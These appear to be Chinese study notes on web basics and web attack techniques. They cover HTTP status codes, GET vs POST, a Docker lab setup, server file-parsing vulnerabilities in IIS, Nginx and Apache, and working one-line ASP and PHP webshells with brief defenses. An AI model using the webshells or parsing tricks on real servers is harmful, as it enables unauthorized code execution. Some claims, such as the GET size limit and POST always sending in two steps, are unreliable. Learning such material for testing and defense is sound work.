1. 网络协议基础
Socket 与 WebSocket 的区别
Socket 和 WebSocket 工作在不同的网络层次,具有不同的特性和用途。
HTTP 状态码分类
- 1xx: 信息性状态码,表示请求已被接收,继续处理
- 2xx: 成功状态码,表示请求已成功被服务器接收、理解并接受
- 3xx: 重定向状态码,需要客户端采取进一步的操作才能完成请求
- 4xx: 客户端错误状态码,表示请求包含语法错误或无法完成请求
- 5xx: 服务器错误状态码,表示服务器在处理请求的过程中发生了错误
GET 与 POST 方法的区别
- GET: 将请求参数附加在URL后面发送,有长度限制(通常约1024KB),主要用于获取资源
- POST: 分两步发送,先发送请求头,服务器返回100状态码后,再发送数据包,主要用于提交数据
虽然POST相比GET在HTTP下略安全,但在HTTPS环境下,由于数据都会被加密,这种安全性差异变得不那么重要。主要区别在于功能性:GET适合快速访问资源,POST适合包含用户数据的提交。
2. Web安全原则
Web安全的本质是用户的输入是不可信的。但要做到完全的安全,成本和用户体验会成比例下降,因此需要在安全性和用户体验之间找到平衡点。
3. 渗透测试环境
可以使用Docker快速搭建渗透测试环境:
docker run -d -p 80:80 raesene/bwapp
docker ps -a # 查看所有容器
docker exec -it <container_id> bash # 进入容器命令行
Web容器支持各种语言解析器模块,不同服务器存在不同的解析漏洞:
IIS 5.0/6.0 解析漏洞
www.xx.com/xx.asp/xx.jpg: 在.asp目录下的任何文件都会被解析为ASP文件www.xx.com/xx.asp;.jpg: 服务器默认不解析分号(;)之后的内容
Nginx 解析漏洞
www.xx.com/phpinfo.jpg/1.php: 当访问的1.php不存在时,默认解析phpinfo.jpg并按PHP文件方式执行
Apache 1.x/2.x 解析漏洞
- 上传
shell.php.test文件,服务器按从右到左的顺序判断后缀,跳过不能识别的后缀,直到找到能识别的后缀
4. WebShell与防护
一句话木马
制作一句话木马(WebShell)文件上传到服务器,然后调用上传的文件获取服务器回显。
ASP 一句话木马
<%execute(request("value"))%>
PHP 一句话木马
<?php @eval($_POST["value"]);?>
防护措施
eval()函数可以把字符串当作参数传给服务器执行指令并返回结果- 可以禁用该函数,或确保用户端无法接触到该功能
- 在WAF防火墙做特征验证
相关工具
- Windows软件:中国菜刀(用于管理WebShell)